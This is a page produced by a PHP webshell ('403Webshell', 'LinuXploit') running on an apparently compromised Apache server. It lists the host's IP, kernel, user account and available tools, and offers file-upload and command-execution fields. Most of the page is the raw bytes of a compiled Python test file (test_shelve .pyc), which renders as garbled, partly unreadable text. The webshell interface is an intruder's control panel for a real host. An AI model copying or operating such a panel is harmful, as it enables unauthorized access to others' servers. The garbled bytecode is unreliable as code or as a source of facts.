403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.240
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_shelve.cpython-36.opt-1.pyc
3

�w2_��@s�ddlZddlZddlZddlmZddlmZddlmZdd�Z	Gdd�de�Z
Gd	d
�d
ej�ZddlmZGdd
�d
ej
�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�Zedkr�e�dS)�N)�support)�MutableMapping)�dbm_iteratorcCs
|jd�S)Nzlatin-1)�decode)�s�r�5/opt/alt/python36/lib64/python3.6/test/test_shelve.py�L1sr	c@sTeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	e	Z
dd�Zdd�ZdS)�byteskeydictz Mapping that supports bytes keyscCs
i|_dS)N)�d)�selfrrr�__init__szbyteskeydict.__init__cCs|jt|�S)N)rr	)r�keyrrr�__getitem__szbyteskeydict.__getitem__cCs||jt|�<dS)N)rr	)rr�valuerrr�__setitem__szbyteskeydict.__setitem__cCs|jt|�=dS)N)rr	)rrrrr�__delitem__szbyteskeydict.__delitem__cCs
t|j�S)N)�lenr)rrrr�__len__szbyteskeydict.__len__ccs$x|jj�D]}|jd�VqWdS)Nzlatin-1)r�keys�encode)r�krrr�iterkeysszbyteskeydict.iterkeyscCst|j��S)N)�listr)rrrrr#szbyteskeydict.keyscCs
t|j�S)N)r
r)rrrr�copy&szbyteskeydict.copyN)
�__name__�
__module__�__qualname__�__doc__r
rrrrr�__iter__rrrrrrr
sr
c@sheZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�TestCasezshelftemp.dbcCs(x"tj|jd�D]}tj|�qWdS)N�*)�glob�fnr�unlink)r�frrr�tearDown.szTestCase.tearDowncCs�i}tj|ddd�}ddddg|d<|j|dddddg�|jt|�d�|j�|jtt|�y|dWntk
r�YnX|jd�dS)	N�F)�protocol�	writeback����key1z"Closed shelf should not find a key)�shelve�Shelf�assertEqualr�close�assertRaises�
ValueError�fail)r�d1rrrr�
test_close2szTestCase.test_closecCs<tj|jdd�}zd|d<|j|dd	�Wd|j�XdS)
Nr)r(r*r'r+r,r-)r*r'r+r,)r*r'r+r,)r.�openr#r0r1)rrrrr�test_ascii_file_shelfAs
zTestCase.test_ascii_file_shelfcCs<tj|jdd�}zd|d<|j|dd�Wd|j�XdS)	Nr*)r(r'r+r,r-)r*r'r+r,)r*r'r+r,)r.r7r#r0r1)rrrrr�test_binary_file_shelfIs
zTestCase.test_binary_file_shelfcCs<tj|jdd�}zd|d<|j|dd�Wd|j�XdS)	Nr')r(r*r+r,r-)r*r'r+r,)r*r'r+r,)r.r7r#r0r1)rrrrr�test_proto2_file_shelfQs
zTestCase.test_proto2_file_shelfcCs�t�}tj|dd�}d|d<|j|dd	�|j�t�}tj|dd�}d
|d<|j|dd�|j�|jt|�d�|jt|�d�|j|j�|j��dS)Nr)r(r*r'r+r,r-)r*r'r+r,)r*r'r+r,)r*r'r+r,)r*r'r+r,)r
r.r/r0r1r�assertNotEqual�items)rr5r�d2rrr�test_in_memory_shelfYszTestCase.test_in_memory_shelfcCs�t�}tj|ddd�}ddddg|d<|j|dddddg�|djd�|j|dddddg�|j�t�}tj|dd	d�}ddddg|d<|j|dddddg�|djd�|j|ddddddg�|j�|jt|�d�|jt|�d�dS)
Nr'F)r(r)r*r+r,r-�T)r
r.r/r0�appendr1r)rr5rr=rrr�test_mutable_entryis zTestCase.test_mutable_entrycCsvi}d}dgtj|�|<|j|jd�|�dgtj|dd�|<|j|jd�|�tj|dd�}|jt|j|dg�dS)NuPöpr*zutf-8zlatin-1)Zkeyencoding�ascii)r.r/ZassertInrr2�UnicodeEncodeErrorr)rrrrrrr�test_keyencoding}szTestCase.test_keyencodingcCs`i}d}|jd�}tj|dd�}dg||<||}|djd�|j�||}|j||�dS)Nrzutf-8T)r)r*r')rr.r/r@r1r;)rrr�
encodedkeyrZp1Zp2rrr�&test_writeback_also_writes_immediately�s

z/TestCase.test_writeback_also_writes_immediatelycCs�i}tj|ddd��>}ddddg|d<|j|dddddg�|jt|�d�WdQRX|jtt|�y|dWntk
r�YnX|jd�dS)	Nr'F)r(r)r*r+r,r-z"Closed shelf should not find a key)r.r/r0rr2r3r4)rr5rrrr�	test_with�szTestCase.test_withc
Cs(tji��}|j|jd�WdQRXdS)Nr+)r.r/r0Z	_protocol)rrrrr�test_default_protocol�szTestCase.test_default_protocolN)rrrr#r&r6r8r9r:r>rArDrFrGrHrrrrr *s

r )�
mapping_testsc@s:eZdZdZdZdd�ZejZdd�Z	dd�Z
d	d
�ZdS)�TestShelveBasezshelftemp.dbrcOsg|_tjj|f|�|�dS)N)�_dbrI�BasicTestMappingProtocolr
)r�args�kwrrrr
�szTestShelveBase.__init__cCsdddd�S)NZvalue1r'r*r+)r-Zkey2Zkey3)r*r'r+r)rrrr�
_reference�szTestShelveBase._referencecCsT|jrtjt�f|j�}n*|jd7_tj|jt|j�f|j�}|j	j
|�|S)Nr*)�_in_memr.r/r
�_args�counterr7r#�strrKr@)r�xrrr�_empty_mapping�szTestShelveBase._empty_mappingcCsLx|jD]}|j�qWg|_|jsHx"tj|jd�D]}tj|�q6WdS)Nr!)rKr1rPr"r#rr$)rZdbr%rrrr&�szTestShelveBase.tearDownN)rrrr#rRr
r.r/Z	type2testrOrUr&rrrrrJ�srJc@seZdZddiZdZdS)�TestAsciiFileShelver(rFN)rrrrQrPrrrrrV�srVc@seZdZddiZdZdS)�TestBinaryFileShelver(r*FN)rrrrQrPrrrrrW�srWc@seZdZddiZdZdS)�TestProto2FileShelver(r'FN)rrrrQrPrrrrrX�srXc@seZdZddiZdZdS)�TestAsciiMemShelver(rTN)rrrrQrPrrrrrY�srYc@seZdZddiZdZdS)�TestBinaryMemShelver(r*TN)rrrrQrPrrrrrZ�srZc@seZdZddiZdZdS)�TestProto2MemShelver(r'TN)rrrrQrPrrrrr[�sr[c	Cs*x$t�D]}tjttttttt	�qWdS)N)
rrZrun_unittestrVrWrXrYrZr[r )�modulerrr�	test_main�sr]�__main__)Zunittestr.r"Ztestr�collections.abcrZ
test.test_dbmrr	r
r rIrLrJrVrWrXrYrZr[r]rrrrr�<module>s&

Youez - 2016 - github.com/yon3zu
LinuXploit